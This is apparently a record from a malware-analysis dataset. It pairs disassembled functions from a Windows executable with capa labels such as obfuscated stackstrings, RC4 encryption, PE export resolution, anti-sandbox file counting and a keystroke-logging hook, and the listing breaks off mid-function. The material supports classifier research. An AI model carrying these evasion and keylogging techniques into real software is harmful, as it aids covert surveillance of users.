joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000edf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x68
mov byte [rsp + 0x28], 0x53
mov byte [rsp + 0x29], VarBstrFromDisp
mov byte [rsp + 0x2a], 0x66
mov byte [rsp + 0x2b], 0x74
mov byte [rsp + 0x2c], 0x77
mov byte [rsp + 0x2d], 0x61
mov byte [rsp + 0x2e], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x2f], 0x65
mov byte [rsp + 0x30], 0x5c
mov byte [rsp + 0x31], 0x54
mov byte [rsp + 0x32], 0x65
mov byte [rsp + 0x33], VarBstrFromDisp
mov byte [rsp + 0x34], 0x63
mov byte [rsp + 0x35], 0x65
mov byte [rsp + 0x36], VarBstrFromDisp
mov byte [rsp + 0x37], 0x74
mov byte [rsp + 0x38], 0x5c
mov byte [rsp + 0x39], 0x62
mov byte [rsp + 0x3a], 0x75
mov byte [rsp + 0x3b], 0x67
mov byte [rsp + 0x3c], 0x52
mov byte [rsp + 0x3d], 0x65
mov byte [rsp + 0x3e], VarBstrFromDisp
mov byte [rsp + 0x3f], VarBstrFromDisp
mov byte [rsp + 0x40], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x41], 0x74
mov byte [rsp + 0x42], 0x5c
mov byte [rsp + 0x43], 0x57
mov byte [rsp + 0x44], 0x65
mov byte [rsp + 0x45], 0x63
mov byte [rsp + 0x46], 0x68
mov byte [rsp + 0x47], 0x61
mov byte [rsp + 0x48], 0x74
mov byte [rsp + 0x49], 0x57
mov byte [rsp + 0x4a], 0x69
mov byte [rsp + 0x4b], VarBstrFromDisp
mov byte [rsp + 0x4c], 0x64
mov byte [rsp + 0x4d], VarBstrFromDisp
mov byte [rsp + 0x4e], 0x77
mov byte [rsp + 0x4f], 0x73
mov byte [rsp + 0x50], 0
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x28]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x14000eee5
mov eax, 1
jmp 0x14000eee7
xor eax, eax
add rsp, 0x68
ret

Function at 0x14000eeec
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
sub rsp, 0x308
mov ecx, 0x208
call fcn.14005308c
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.OLEAUT32.dll_SafeArrayGetDim
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
je 0x14000ef3b
xor eax, eax
jmp 0x14000effb
mov dword [rsp + 0x30], 0
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x88]
call fcn.14000d238
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
lea r8, [0x140211b74]
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x68]
call fcn.14000ace4
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.140011b4c
lea rdx, [rsp + 0xb0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x68]
call fcn.14000df60
nop
lea rcx, [rsp + 0x88]
call fcn.14000df60
cmp qword [rsp + 0x38], 0xffffffffffffffff
je 0x14000efeb
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14000efbf
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [rsp + 0x30], 0xa
jg 0x14000eff6
xor eax, eax
jmp 0x14000effb
mov eax, 1
add rsp, 0x308
ret
Function at 0x14000fd28
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x220
mov dword [rsp + 4], 0
mov dword [rsp + 8], 0
lea rax, [rsp + 0x120]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
lea rax, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov byte [rsp], 0
mov dword [rsp + 4], 0
jmp 0x14000fd90
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
cmp dword [rsp + 4], 0x100
jge 0x14000fdd1
movsxd rax, dword [rsp + 4]
mov cl, byte [rsp + 4]
mov byte [rsp + rax + 0x20], cl
xor edx, edx
mov eax, dword [rsp + 4]
div dword [rsp + 0x248]
mov eax, edx
mov eax, eax
movsxd rcx, dword [rsp + 4]
mov rdx, qword [rsp + 0x240]
mov al, byte [rdx + rax]
mov byte [rsp + rcx + 0x120], al
jmp 0x14000fd86
mov dword [rsp + 4], 0
jmp 0x14000fde5
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
cmp dword [rsp + 4], 0x100
jge 0x14000fe50
movsxd rax, dword [rsp + 4]
movzx eax, byte [rsp + rax + 0x20]
mov ecx, dword [rsp + 8]
add ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 4]
movzx ecx, byte [rsp + rcx + 0x120]
add eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 8], eax
movsxd rax, dword [rsp + 4]
mov al, byte [rsp + rax + 0x20]
mov byte [rsp], al
movsxd rax, dword [rsp + 8]
movsxd rcx, dword [rsp + 4]
mov al, byte [rsp + rax + 0x20]
mov byte [rsp + rcx + 0x20], al
movsxd rax, dword [rsp + 8]
mov cl, byte [rsp]
mov byte [rsp + rax + 0x20], cl
jmp 0x14000fddb
mov dword [rsp + 0x10], 0
mov dword [rsp + 4], 0
mov dword [rsp + 8], 0
mov byte [rsp], 0
mov dword [rsp + 0xc], 0
mov dword [rsp + 0xc], 0
jmp 0x14000fe88
mov eax, dword [rsp + 0xc]
inc eax
mov dword [rsp + 0xc], eax
mov eax, dword [rsp + 0x238]
cmp dword [rsp + 0xc], eax
jae 0x14000ff5f
mov eax, dword [rsp + 4]
inc eax
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 4], eax
movsxd rax, dword [rsp + 4]
movzx eax, byte [rsp + rax + 0x20]
mov ecx, dword [rsp + 8]
add ecx, eax
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 8], eax
movsxd rax, dword [rsp + 4]
mov al, byte [rsp + rax + 0x20]
mov byte [rsp], al
movsxd rax, dword [rsp + 8]
movsxd rcx, dword [rsp + 4]
mov al, byte [rsp + rax + 0x20]
mov byte [rsp + rcx + 0x20], al
movsxd rax, dword [rsp + 8]
mov cl, byte [rsp]
mov byte [rsp + rax + 0x20], cl
movsxd rax, dword [rsp + 4]
movzx eax, byte [rsp + rax + 0x20]
movsxd rcx, dword [rsp + 8]
movzx ecx, byte [rsp + rcx + 0x20]
add eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 0x10], eax
movsxd rax, dword [rsp + 0x10]
movzx eax, byte [rsp + rax + 0x20]
mov ecx, dword [rsp + 0xc]
mov rdx, qword [rsp + 0x230]
movzx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xc]
mov rdx, qword [rsp + 0x230]
mov byte [rdx + rcx], al
jmp 0x14000fe7e
add rsp, 0x220
pop rdi
ret
Function at 0x14000ff68
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
cmp qword [rsp + 0x80], 0
je 0x14000ff8c
cmp qword [rsp + 0x88], 0
jne 0x14000ff93
xor eax, eax
jmp 0x14001017e
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
add rax, 0x88
mov qword [rsp + 0x48], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jne 0x14000ffef
xor eax, eax
jmp 0x14001017e
mov edx, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call fcn.1400133a8
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
jne 0x14001000f
xor eax, eax
jmp 0x14001017e
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
jne 0x140010040
xor eax, eax
jmp 0x14001017e
mov rax, qword [rsp + 0x38]
mov edx, dword [rax + 0x20]
mov rcx, qword [rsp + 0x28]
call fcn.1400133a8
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
jne 0x140010064
xor eax, eax
jmp 0x14001017e
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x38]
mov edx, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x28]
call fcn.1400133a8
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
jne 0x14001009f
xor eax, eax
jmp 0x14001017e
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x38]
mov edx, dword [rax + 0x24]
mov rcx, qword [rsp + 0x28]
call fcn.1400133a8
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
jne 0x1400100da
xor eax, eax
jmp 0x14001017e
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x24]
dec eax
mov eax, eax
mov rcx, qword [rsp + 0x50]
mov edx, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x28]
call fcn.1400133a8
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x58]
call fcn.1401dccd0
test eax, eax
jne 0x140010167
mov eax, dword [rsp + 0x24]
dec eax
mov eax, eax
mov rcx, qword [rsp + 0x60]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x68]
mov edx, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x28]
call fcn.1400133a8
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
jmp 0x14001017e
mov eax, dword [rsp + 0x24]
dec eax
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
jne 0x1400100f1
xor eax, eax
add rsp, 0x78
ret
Function at 0x1400124f4
Capabilities:
Create thread

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x48
cmp dword [rsp + 0x50], 0
je 0x140012531
call fcn.14000eeec
test eax, eax
je 0x140012527
call fcn.14000ec1c
test eax, eax
je 0x140012527
call fcn.1400101b0
test eax, eax
jne 0x140012531
mov ecx, 1
call fcn.1401dd05c
cmp dword [rsp + 0x60], 0
je 0x14001254b
call fcn.14000edf0
test eax, eax
jne 0x14001254b
mov ecx, 1
call fcn.1401dd05c
cmp dword [rsp + 0x58], 0
je 0x140012587
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140010184]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x48
ret
Function at 0x1400133a8
Capabilities:
Enumerate pe sections

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x18
cmp dword [rsp + 0x28], 0
jne 0x1400133c8
mov rax, 0xffffffffffffffff
jmp 0x140013470
mov rax, qword [rsp + 0x20]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x20]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 0x20]
movzx eax, word [rax + 6]
dec eax
mov dword [rsp], eax
jmp 0x1400133f8
mov eax, dword [rsp]
dec eax
mov dword [rsp], eax
cmp dword [rsp], 0
jl 0x140013469
movsxd rax, dword [rsp]
imul rax, rax, 0x28
mov rcx, qword [rsp + 8]
mov edx, dword [rsp + 0x28]
cmp dword [rcx + rax + 0xc], edx
ja 0x140013467
movsxd rax, dword [rsp]
imul rax, rax, 0x28
movsxd rcx, dword [rsp]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 8]
mov eax, dword [rdx + rax + 0xc]
mov rdx, qword [rsp + 8]
add eax, dword [rdx + rcx + 0x10]
cmp dword [rsp + 0x28], eax
ja 0x140013467
movsxd rax, dword [rsp]
imul rax, rax, 0x28
mov rcx, qword [rsp + 8]
mov eax, dword [rcx + rax + 0x14]
add eax, dword [rsp + 0x28]
movsxd rcx, dword [rsp]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 8]
sub eax, dword [rdx + rcx + 0xc]
mov eax, eax
jmp 0x140013470
jmp 0x1400133f0
mov rax, 0xffffffffffffffff
add rsp, 0x18
ret

Function at 0x140015f44
Capabilities:
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
add rax, 0x30
mov rcx, rax
call fcn.140015ba0
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r9d, eax
xor r8d, r8d
lea rdx, [0x1400297f0]
mov ecx, 2
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov rcx, qword [rsp + 0x30]
mov qword [rcx + 0x28], rax
mov rax, qword [rsp + 0x30]
add rsp, 0x28
ret
Function at 0x140037e08
Capabilities:
Get graphical window text

Disassembly:
sub rsp, 0x78
test rdx, rdx
je 0x140037e70
mov r10, qword [rcx + 0x10]
test r10, r10
je 0x140037e5a
cmp qword [rcx + 0x18], 0
jne 0x140037e55
mov eax, dword [rcx + 0xc]
cmp eax, dword [rcx + 0x30]
jae 0x140037e76
mov qword [rsp + 0x58], rdx
lea r9, [rsp + 0x20]
mov dword [rsp + 0x20], 0x50
mov edx, eax
mov dword [rsp + 0x24], 0x40
mov r8d, 1
mov rcx, qword [r10 + 8]
call qword [sym.imp.USER32.dll_SetMenuItemInfoW]
add rsp, 0x78
ret
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140037e70
mov rcx, qword [rcx + 0x40]
add rsp, 0x78
jmp fcn.140059594
call fcn.140032a78
int3
call fcn.140032a78
int3

Function at 0x140038774
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
movsxd rsi, r8d
mov rbx, rdx
mov rdi, rcx
xor ebp, ebp
cmp qword [rcx + 0xd0], rbp
jne 0x1400387ae
mov r8d, esi
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x140038852
call fcn.1400342dc
mov rcx, rax
test rax, rax
je 0x14003886d
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
call qword [case.0x140088492.0]
add rax, 0x18
mov qword [rsp + 0x30], rax
mov rcx, qword [rdi + 0xd0]
mov rax, qword [rcx]
lea rdx, [rsp + 0x30]
mov rax, qword [rax + 0x118]
call qword [case.0x140088492.0]
mov rdx, rsi
or rdi, 0xffffffffffffffff
mov r9, rdi
mov r8, qword [rsp + 0x30]
mov rcx, rbx
call fcn.1401de644
test eax, eax
je 0x140038816
cmp eax, 0xc
je 0x140038867
cmp eax, 0x50
jne 0x140038878
test rbx, rbx
jne 0x14003881f
mov ebx, ebp
jmp 0x14003882a
mov rcx, rbx
call fcn.1401d9bd8
mov rbx, rax
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
mov ecx, edi
lock xadd dword [rdx + 0x10], ecx
add ecx, edi
test ecx, ecx
jg 0x140038850
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [case.0x140088492.0]
mov eax, ebx
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
call fcn.140032a9c
nop
mov ecx, 0x80004005
call fcn.140004150
nop
call fcn.140032a78
int3

Function at 0x14003b804
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov rdi, rdx
mov rsi, rcx
test rdx, rdx
je 0x14003b862
call fcn.140045170
mov r8d, 0xf0
mov rdx, rdi
mov rbp, qword [rax + 0x18]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x14003b862
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14003b86d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
mov rdx, rbx
mov rcx, rsi
call fcn.14005a99c
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14003ba0c
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rbx, r8
lea rcx, [0x140212ce8]
mov esi, edx
call fcn.1401d9bd8
mov r8d, eax
lea rdx, [0x140212ce8]
mov rcx, rbx
call fcn.1400084b4
xor ebp, ebp
mov edx, esi
cmp qword [rdi + 0xc8], rbp
jne 0x14003baee
mov rcx, qword [rdi + 0x40]
call qword [sym.imp.USER32.dll_GetDlgItem]
mov rsi, rax
test rax, rax
je 0x14003bb06
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextLengthW]
movsxd rdi, eax
test eax, eax
js 0x14003bb21
mov rcx, qword [rbx]
lea r8d, [rbp + 1]
mov edx, dword [rcx - 0xc]
sub r8d, dword [rcx - 8]
sub edx, edi
or r8d, edx
jge 0x14003baa0
mov edx, edi
mov rcx, rbx
call fcn.1400080dc
mov rdx, qword [rbx]
cmp edi, dword [rdx - 0xc]
jg 0x14003bb21
mov dword [rdx - 0x10], edi
lea r8d, [rdi + 1]
mov rax, qword [rbx]
mov rcx, rsi
mov word [rax + rdi*2], bp
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov rcx, qword [rbx]
test rcx, rcx
jne 0x14003bacb
mov eax, ebp
jmp 0x14003bad8
movsxd rdx, dword [rcx - 0xc]
call fcn.1401d9d04
test eax, eax
js 0x14003bb21
mov rcx, qword [rbx]
cmp eax, dword [rcx - 0xc]
jg 0x14003bb21
mov dword [rcx - 0x10], eax
mov ecx, eax
mov rax, qword [rbx]
mov word [rax + rcx*2], bp
jmp 0x14003bb06
mov rcx, rdi
call fcn.14003823c
test rax, rax
je 0x14003bb06
mov rdx, rbx
mov rcx, rax
call fcn.14003bfa4
mov rax, qword [rbx]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, dword [rax - 0x10]
add rsp, 0x20
pop rdi
ret
mov ecx, 0x80070057
call fcn.140004150
int3

Function at 0x14003bfa4
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
xor ebp, ebp
mov rcx, qword [rcx + 0xd0]
mov rbx, rdx
test rcx, rcx
jne 0x14003c053
mov rcx, qword [rsi + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextLengthW]
movsxd rdi, eax
test eax, eax
js 0x14003c078
mov rcx, qword [rbx]
lea r8d, [rbp + 1]
mov edx, dword [rcx - 0xc]
sub r8d, dword [rcx - 8]
sub edx, edi
or r8d, edx
jge 0x14003c004
mov edx, edi
mov rcx, rbx
call fcn.1400080dc
mov rdx, qword [rbx]
cmp edi, dword [rdx - 0xc]
jg 0x14003c078
mov dword [rdx - 0x10], edi
lea r8d, [rdi + 1]
mov rax, qword [rbx]
mov word [rax + rdi*2], bp
mov rcx, qword [rsi + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov rcx, qword [rbx]
test rcx, rcx
jne 0x14003c030
mov eax, ebp
jmp 0x14003c03d
movsxd rdx, dword [rcx - 0xc]
call fcn.1401d9d04
test eax, eax
js 0x14003c078
mov rcx, qword [rbx]
cmp eax, dword [rcx - 0xc]
jg 0x14003c078
mov dword [rcx - 0x10], eax
mov ecx, eax
mov rax, qword [rbx]
mov word [rax + rcx*2], bp
jmp 0x14003c063
mov rax, qword [rcx]
mov rax, qword [rax + 0x118]
call qword [case.0x140088492.0]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov ecx, 0x80070057
call fcn.140004150
int3
Function at 0x14003c618
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rdi, rdx
mov rbx, rcx
test rcx, rcx
je 0x14003c6d1
mov rcx, qword [rcx + 0x40]
test rcx, rcx
je 0x14003c6d1
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x14003c6d1
test rdi, rdi
je 0x14003c6d1
xor r14d, r14d
xor esi, esi
call fcn.140045170
lea r8, str.AFX_DIALOG_LAYOUT
mov rdx, rdi
mov rbp, qword [rax + 0x18]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x14003c6b1
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rdi
mov rcx, rbp
mov r14d, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14003c6d1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov r8d, r14d
mov rdx, rsi
mov rcx, rbx
call fcn.14005b4e0
mov edi, eax
test eax, eax
je 0x14003c6cd
mov rcx, rbx
call fcn.14003c2e0
mov eax, edi
jmp 0x14003c6d3
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14003d650
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rbx, r8
mov rcx, qword [rcx + 0x40]
call fcn.1400598f4
mov rdi, rax
test rax, rax
je 0x14003d6cc
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov esi, eax
test rbx, rbx
je 0x14003d6c7
cmp dword [rbx], 0x40
jb 0x14003d6c7
mov rcx, qword [rbp + 0x40]
xor r9d, r9d
or dword [rbx + 4], 1
xor r8d, r8d
or qword [rbx + 0x30], 0xffffffffffffffff
mov edx, 0x87
mov qword [rbx + 8], rcx
mov rcx, rdi
mov qword [rbx + 0x10], rdi
call qword [sym.imp.USER32.dll_SendMessageW]
bt rax, 0xd
jb 0x14003d6c7
or dword [rbx + 4], 0x80000002
mov rax, rsi
jmp 0x14003d6d0
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140042038
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, qword [rcx + 0x100]
xor r14d, r14d
mov rdi, rcx
mov rsi, qword [rcx + 0xf8]
cmp qword [rcx + 0xf0], r14
je 0x14004209f
call fcn.140045170
mov rdx, qword [rdi + 0xf0]
lea r8d, [r14 + 5]
mov rbp, qword [rax + 0x18]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x14004209f
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rsi, rsi
je 0x1400420b0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
mov eax, 1
test rbx, rbx
je 0x1400420f5
mov edx, 0xffff
lea rcx, [rbx + 0xc]
cmp word [rbx + 2], dx
jne 0x1400420d4
movzx r8d, word [rbx + 0x12]
movzx edx, word [rbx + 0x14]
jmp 0x1400420df
movzx edx, word [rcx]
mov rcx, rbx
movzx r8d, word [rbx + 0xa]
test dword [rcx], 0x1801
jne 0x1400420f2
test r8w, r8w
jne 0x1400420f2
test dx, dx
je 0x1400420f5
mov eax, r14d
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x140042110
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 0xf0], rdx
mov rbp, r8
mov rdi, rdx
mov rbx, rcx
cmp rdx, 0x10000
jae 0x14004214f
cmp dword [rcx + 0xe8], 0
jne 0x14004214f
movzx eax, dx
mov dword [rcx + 0xe8], eax
call fcn.140045170
mov r8d, 5
mov rdx, rdi
mov rsi, qword [rax + 0x18]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x140042193
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140042193
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov rcx, rbx
call fcn.1400424c8
jmp 0x140042195
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400421ac
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, r8
mov rbx, rdx
mov rbp, rcx
call fcn.140045170
mov r8d, 5
mov rdx, rbx
mov rdi, qword [rax + 0x18]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x140042216
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140042216
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r9, rdi
mov r8, rsi
mov rdx, rax
mov rcx, rbp
call fcn.140042230
jmp 0x140042218
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14004e1d4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov r14, rdx
mov rbp, rcx
call fcn.140045170
mov r8d, 0xf1
mov rdx, r14
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
xor r15d, r15d
test rax, rax
je 0x14004e2e5
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14004e2e5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x14004e2e5
movzx ecx, word [rax + 6]
lea eax, [r15 + 4]
mul rcx
lea rcx, [r15 - 1]
cmovo rax, rcx
mov rcx, rax
call fcn.14005308c
mov rsi, rax
mov r9d, r15d
movzx eax, word [rbx + 6]
cmp r15w, ax
jae 0x14004e287
mov rdx, rsi
lea r8, [rbx + 8]
movzx ecx, word [r8]
inc r9d
mov dword [rdx], ecx
lea r8, [r8 + 2]
movzx eax, word [rbx + 6]
lea rdx, [rdx + 4]
cmp r9d, eax
jl 0x14004e26d
